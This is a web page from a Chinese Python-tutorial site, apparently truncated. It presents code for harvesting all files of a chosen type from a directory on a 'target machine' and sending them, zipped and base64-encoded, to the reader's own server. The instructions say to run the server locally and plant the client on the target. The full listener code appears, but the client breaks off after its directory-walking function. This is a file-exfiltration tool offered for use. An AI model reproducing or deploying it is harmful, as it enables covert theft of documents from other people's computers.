• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >python > python实现获取客户机上指定文件并传输到服务器的方法

python实现获取客户机上指定文件并传输到服务器的方法

作者: 字体:[增加 减小] 来源:互联网

通过本文主要向大家介绍了python开发客户端,python socket客户端,python客户端,python tcp 客户端,python 客户端程序等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 6553500 #6M
    key = 'ouyang'
    timeout = 5
    dicName = "ouyang\\"
    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        ss.bind((HOST,PORT))
        ss.listen(5)
        print "wating for conntecting..."
        while True:
            try:
                cs,addr = ss.accept()
                socket.setdefaulttimeout(timeout)
                cs.send("200 Connected!")
                #获取加密数据
                encode_data = cs.recv(BUF_SIZE)
                #把数据写到out.zip文件
                tmpfile = open('out.tmp','wb')
                try:
                    tmpfile.write(encode_data)
                    tmpfile.close()
                except IOError,e:
                    print 'Strange error creating IOError:%s' % e 
                    tmpfile.close()
                finally:
                    tmpfile.close()
                #base64 decode 2进制 解密 decode(infile,outfile)
                tmpfile = open('out.tmp','rb')
                outfile = open('out.zip','wb')
                base64.decode(tmpfile,outfile)
                tmpfile.close()
                outfile.close()
                #打开zip文件
                zfile = zipfile.ZipFile('out.zip','r')
                #创建一个文件夹来存放获取的zip文件
                if not os.path.exists(dicName):
                    os.mkdir(dicName)
                for f in zfile.namelist():
                    data = zfile.read(f)
                    file = open(dicName+os.path.basename(f),'w+b')
                    file.write(data)
                    file.close()
                print "finished!!!"
                zfile.close()
                #后续处理 删除临时文件
                os.remove('out.tmp')
                cs.close()
            except socket.error, e: 
                print 'Strange error creating socket:%s' % e 
                cs.close()
        ss.close()
    except socket.error, e:
        print 'Strange error creating socket:%s' % e 
        ss.close()
if __name__=='__main__':
    main()</div>

客户端程序:
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))     

您可能想查找下面的文章:

  • Python HTTP客户端自定义Cookie实现实例
  • Python实现的简单文件传输服务器和客户端
  • Python实现的简单文件传输服务器和客户端
  • python实现获取客户机上指定文件并传输到服务器的方法
  • python实现获取客户机上指定文件并传输到服务器的方法
  • python服务器与android客户端socket通信实例
  • python网络编程示例(客户端与服务端)

相关文章

  • python利用Guetzli批量压缩图片
  • Python的ORM框架SQLAlchemy入门教程
  • Pyhton中防止SQL注入的方法
  • Python常用模块用法分析
  • Python中的pass语句使用方法讲解
  • 在Python的Flask框架中验证注册用户的Email的方法
  • python调用Moxa PCOMM Lite通过串口Ymodem协议实现发送文件
  • Python统计列表中的重复项出现的次数的方法
  • python字符串连接方式汇总
  • 整理Python最基本的操作字典的方法

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • Python Matplotlib库入门指南
    • Django的数据模型访问多对多键值的方法
    • python中__call__方法示例分析
    • python制作最美应用的爬虫
    • Python最基本的输入输出详解
    • Pythont特殊语法filter,map,reduce,apply使用方法
    • 开源Web应用框架Django图文教程
    • Python实现TCP/IP协议下的端口转发及重定向示例
    • python中argparse模块用法实例详解
    • python根据文件大小打log日志

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有